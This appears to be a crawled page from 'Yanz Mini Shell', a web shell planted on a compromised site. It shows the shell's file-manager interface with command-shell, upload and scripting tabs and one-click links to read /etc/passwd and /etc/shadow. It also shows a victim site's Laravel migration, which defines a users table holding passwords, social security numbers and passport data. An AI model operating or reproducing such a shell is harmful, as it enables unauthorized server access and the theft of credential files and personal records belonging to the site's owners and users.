Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
livewant
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('users', function (Blueprint $table) { $table->id(); $table->string('name')->nullable(); $table->string('email')->nullable()->unique(); $table->date('date_of_birth')->nullable(); $table->date('join_date')->nullable(); $table->enum('gender', ['Male', 'Female'])->nullable(); $table->timestamp('email_verified_at')->nullable()->comment('if null then verifield, not null then not verified'); $table->string('token')->nullable()->comment('Token for email/phone verification, if null then verifield, not null then not verified'); $table->string('phone')->nullable()->unique(); $table->string('alt_phone')->nullable(); $table->string('password'); $table->string('new_password')->nullable(); $table->string('confirm_password')->nullable(); $table->string('permanent_address')->nullable(); $table->string('present_address')->nullable(); $table->string('institution')->nullable(); $table->string('city')->nullable(); $table->string('state')->nullable(); $table->string('zip_code')->nullable(); $table->string('occupation')->nullable(); $table->string('nid')->nullable(); $table->string('social_security_number')->nullable(); $table->string('passport')->nullable(); $table->string('nationality')->nullable(); $table->string('blood_group')->nullable(); $table->string('tax_certificate')->nullable(); $table->integer('property_count')->nullable(); $table->integer('otp')->nullable(); $table->text('permissions')->nullable(); $table->tinyInteger('status')->default(App\Enums\Status::ACTIVE); $table->unsignedBigInteger('image_id')->nullable(); $table->foreign('image_id')->references('id')->on('images')->onDelete('set null'); $table->unsignedBigInteger('role_id')->nullable(); $table->foreign('role_id')->references('id')->on('roles')->onDelete('set null'); $table->unsignedBigInteger('designation_id')->nullable(); $table->foreign('designation_id')->references('id')->on('designations')->onDelete('set null'); $table->rememberToken(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('users'); } };
Free Space : 18310852608 Byte